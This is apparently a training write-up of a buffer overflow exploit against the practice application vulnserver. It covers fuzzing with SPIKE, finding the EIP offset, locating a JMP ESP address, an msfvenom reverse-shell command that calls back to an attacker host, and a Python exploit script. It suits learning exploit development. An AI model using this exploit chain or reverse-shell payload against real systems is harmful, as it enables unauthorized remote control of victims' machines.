Objective

Exploit a buffer overflow vulnerability in an application by taking control of the EIP register and executing shellcode.

1. connect to the target and launch vulnserver

RDP connection to target :

1
rdesktop -u IEUser -p 'Passw0rd!' 172.16.5.120

Launching vulnserver with :

1
vulnserver.exe 9999

Interacting with the server from our machine, we notice that depending on how we type the command and what we send, we get different responses.

2. Fuzzing with SPIKE

Create a trun.spk script

1
2
3
s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

Starting fuzzing :

1
generic_send_tcp 172.16.5.120 9999 trun.spk 0 0

Vulnserver crash, which means there is an overflow :

3. Crash analysis with Immunity Debugger

  1. Run vulnserver.exe with immunity debugger
  2. Restart fuzzing from the attacking machine

EIP is now replaced by controlled data. We therefore have an exploitable vulnerability.

Determine EIP offset

To find out at what offset the EIP is overwritten. We use a unique pattern where each sequence is different. The size is determined by testing and with Wireshark, based on the size of the variable during the crash caused by SPIKE.

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 > pattern.txt

We send this pattern via a Python script (does not work with nc because the payload is automatically truncated).

1
2
3
4
5
6
7
8
9
10
11
import socket

ip = "172.16.5.120"
port = 9999
pattern = open("pattern.txt", "r").read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b "TRUN ." + pattern.encode() + b"\r\n")
s.close()

After the crash caused by the execution of our code, the EIP value is as follows:

1
EIP = 396F4337

Since our payload contains only single patterns, based on this value we can determine at which offset EIP is located using the following command:

1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4337

The result is :

1
[*] Exact match at offset 2006

This means that 2006 is the exact position in the pattern where the EIP overwriting begins.

5. Find a JMP ESP instruction

As our shellcode is at the top of the stack, we need to find a JMP ESP instruction that will allow us to go directly to the top of the stack. Once we’ve found this instruction, we’ll put its memory address in EIP so that EIP indicates the next instruction to be executed.

You can search for a JMP ESP instruction in immunity with :

1
!mona find -s "\xff\xe4" -m essfunc.dll

The result is :

1
Found at 0x625011AF

This address is stable and contains a JMP ESP. It will be used to overwrite EIP.

6. Shellcode generation

You can generate shell code with msfvenom, excluding the null character:

1
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.5.150 LPORT=4444 -b '\x00' -f python

To complete the shellcode, you’ll need to add the NOP (No Operation) sled, which is a series of instructions placed before the shellcoe to ensure that even if the ESP doesn’t land exactly on the shellcode, the latter will still be executed.

Padding must also be added to complete the buffer to reach 3000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

ip = "172.16.5.120"
port = 9999

offset = 2006
eip = b"\xaf\x11\x50\x62" # JMP ESP found in essfunc.dll
nopsled = b"\x90" * 16
shellcode = b"" # to be completed with msfvenom shellcode

padding = b "F" * (3000 - offset - len(eip) - len(nopsled) - len(shellcode))
payload = b "A" * offset + eip + nopsled + shellcode + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b "TRUN ." + payload + b"\r\n")
s.close()

Result

  • Server crashes
  • JMP ESP instruction redirects to ESP
  • ESP points to NOP sled -> shellcode is executed
  • A reverse shell is received on kali